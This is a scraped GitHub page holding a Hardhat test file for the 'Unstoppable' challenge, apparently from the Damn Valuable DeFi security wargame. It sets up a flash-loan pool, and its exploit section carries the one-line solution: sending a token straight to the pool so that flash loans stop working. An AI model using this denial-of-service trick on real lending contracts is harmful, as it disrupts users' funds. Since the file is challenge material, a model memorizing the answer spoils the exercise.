generated from PaulRBerg/hardhat-template
-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathunstoppable.challenge.ts
48 lines (34 loc) · 1.81 KB
/
unstoppable.challenge.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import { expect } from "chai";
import { ethers } from "hardhat";
describe("[Challenge] Unstoppable", function () {
let deployer, attacker, someUser;
// Pool has 1M * 10**18 tokens
const TOKENS_IN_POOL = ethers.utils.parseEther("1000000");
const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther("100");
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, attacker, someUser] = await ethers.getSigners();
const DamnValuableTokenFactory = await ethers.getContractFactory("DamnValuableToken", deployer);
const UnstoppableLenderFactory = await ethers.getContractFactory("UnstoppableLender", deployer);
this.token = await DamnValuableTokenFactory.deploy();
this.pool = await UnstoppableLenderFactory.deploy(this.token.address);
await this.token.approve(this.pool.address, TOKENS_IN_POOL);
await this.pool.depositTokens(TOKENS_IN_POOL);
await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE);
expect(await this.token.balanceOf(this.pool.address)).to.equal(TOKENS_IN_POOL);
expect(await this.token.balanceOf(attacker.address)).to.equal(INITIAL_ATTACKER_TOKEN_BALANCE);
// Show it's possible for someUser to take out a flash loan
const ReceiverContractFactory = await ethers.getContractFactory("ReceiverUnstoppable", someUser);
this.receiverContract = await ReceiverContractFactory.deploy(this.pool.address);
await this.receiverContract.executeFlashLoan(10);
});
it("Exploit", async function () {
await this.token.connect(attacker).transfer(this.pool.address, 1);
/** CODE YOUR EXPLOIT HERE */
});
after(async function () {
/** SUCCESS CONDITIONS */
// It is no longer possible to execute flash loans
await expect(this.receiverContract.executeFlashLoan(10)).to.be.reverted;
});
});